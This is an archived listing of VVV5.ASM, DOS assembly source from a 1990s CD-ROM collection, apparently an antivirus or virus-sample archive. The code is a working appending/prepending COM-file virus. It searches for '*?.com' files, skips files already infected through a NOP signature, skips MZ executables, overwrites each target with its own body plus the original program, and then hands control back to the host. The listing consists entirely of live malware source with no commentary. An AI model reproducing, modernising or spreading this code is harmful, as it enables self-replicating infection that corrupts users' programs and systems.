home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VVV5.ASM < prev    next >
Assembly Source File  |  1990-11-16  |  2KB  |  144 lines

  1. .model    tiny
  2. .code
  3. org     100h
  4. kkk:
  5.     nop    ; ID
  6.     nop    ; ID
  7.  
  8.     mov    cx,80h
  9.     mov    si,0080h
  10.     mov    di,0ff7fh
  11.     rep    movsb        ; save param
  12.  
  13.     lea    ax,begp        ; begin prog
  14.     mov    cx,ax
  15.         sub     ax,100h
  16.         mov     ds:[0fah],ax   ; len VIR
  17.     add    cx,fso
  18.         mov     ds:[0f8h],cx   ; begin buffer W
  19.         ADD     CX,AX
  20.         mov     ds:[0f6h],cx   ; begin buffer R
  21.  
  22.         mov     cx,ax
  23.     lea    si,kkk
  24.         mov     di,ds:[0f8h]
  25. RB:     REP     MOVSB           ; move v
  26.  
  27.         stc
  28.  
  29.         LEA     DX,FFF
  30.         MOV     AH,4EH
  31.         MOV     CX,20H
  32.         INT     21H        ;  find first
  33.  
  34.     or    ax,ax
  35.     jz    LLL
  36.     jmp    done
  37.  
  38. LLL:
  39.     MOV     AH,2FH
  40.         INT     21H        ; get DTA
  41.  
  42.     mov    ax,es:[bx+1ah]
  43.         mov     ds:[0fch],ax   ; size
  44.     add    bx,1eh
  45.         mov     ds:[0feh],bx   ; point to name
  46.  
  47.     add    ax,180h        ; if new len file + len VIR + 180h > FFF0
  48.     add    ax,ds:[0fah]    ;    then skip this file
  49.     add    ax,fso
  50.     cmp    ax,0fff0h
  51.     ja    fin
  52.  
  53.     clc
  54.     mov    ax,3d02h
  55.     mov    dx,bx
  56.     int    21h        ; open file
  57.  
  58.     mov    bx,ax
  59.     mov    ah,3fh
  60.         mov     cx,ds:[0fch]
  61.         mov     dx,ds:[0f6h]
  62.     int    21h        ; read file
  63.  
  64.     mov    bx,dx        
  65.     mov    ax,[bx]
  66.     sub    ax,9090h
  67.     jz    fin        ; if file inf. then skip this file
  68.  
  69.     mov    al,'M'
  70.     mov    di,dx
  71.     mov    cx,ds:[0fch]
  72.     repne    scasb
  73.     jne    cont
  74.     mov    al,'Z'
  75.     cmp    es:[di],al
  76.     je    fin        ; if converted then skip
  77.  
  78. cont:
  79.         MOV     AX,ds:[0fch]
  80.         mov     bx,ds:[0f6h]
  81.         mov     [bx-2],ax      ; correct old len
  82.  
  83.     mov    ah,3ch
  84.     mov    cx,00h
  85.         mov     dx,ds:[0feh]   ; point to name
  86.     clc
  87.     int    21h        ; create file
  88.  
  89.     mov    bx,ax        ; #
  90.     mov    ah,40h
  91.         mov     cx,ds:[0fch]
  92.         add     cx,ds:[0fah]
  93.         mov     DX,ds:[0f8h]
  94.     int    21h        ; write file
  95.  
  96.  
  97.     mov    ah,3eh
  98.     int    21h        ;close file
  99.  
  100. FIN:
  101.     stc
  102.     mov    ah,4fh
  103.     int    21h        ; find next
  104.  
  105.     or    ax,ax
  106.     jnz    done
  107.  
  108.         JMP     lll
  109.  
  110. DONE:
  111.  
  112.     mov    cx,80h
  113.     mov    si,0ff7fh
  114.     mov    di,0080h
  115.     rep    movsb        ; restore param
  116.  
  117.         MOV     AX,0A4F3H
  118.         mov     ds:[0fff9h],ax
  119.     mov    al,0eah
  120.     mov    ds:[0fffbh],al
  121.     mov    ax,100h
  122.     mov    ds:[0fffch],ax    ; remove REP MOVSB and FAR JMP cs:0100 
  123.  
  124.     lea    si,begp
  125.     lea    di,kkk
  126.     mov    ax,cs
  127.     mov    ds:[0fffeh],ax
  128.     mov    kk,ax
  129.     mov    cx,fso
  130.  
  131.     db    0eah
  132.         dw      0fff9h
  133. kk    dw    0000h
  134.  
  135. fff    db    '*?.com',0
  136. fso    dw    0005h    ; source len file
  137.  
  138.  
  139. begp:
  140.     MOV     AX,4C00H
  141.     int     21h        ; exit
  142.  
  143. end    kkk
  144.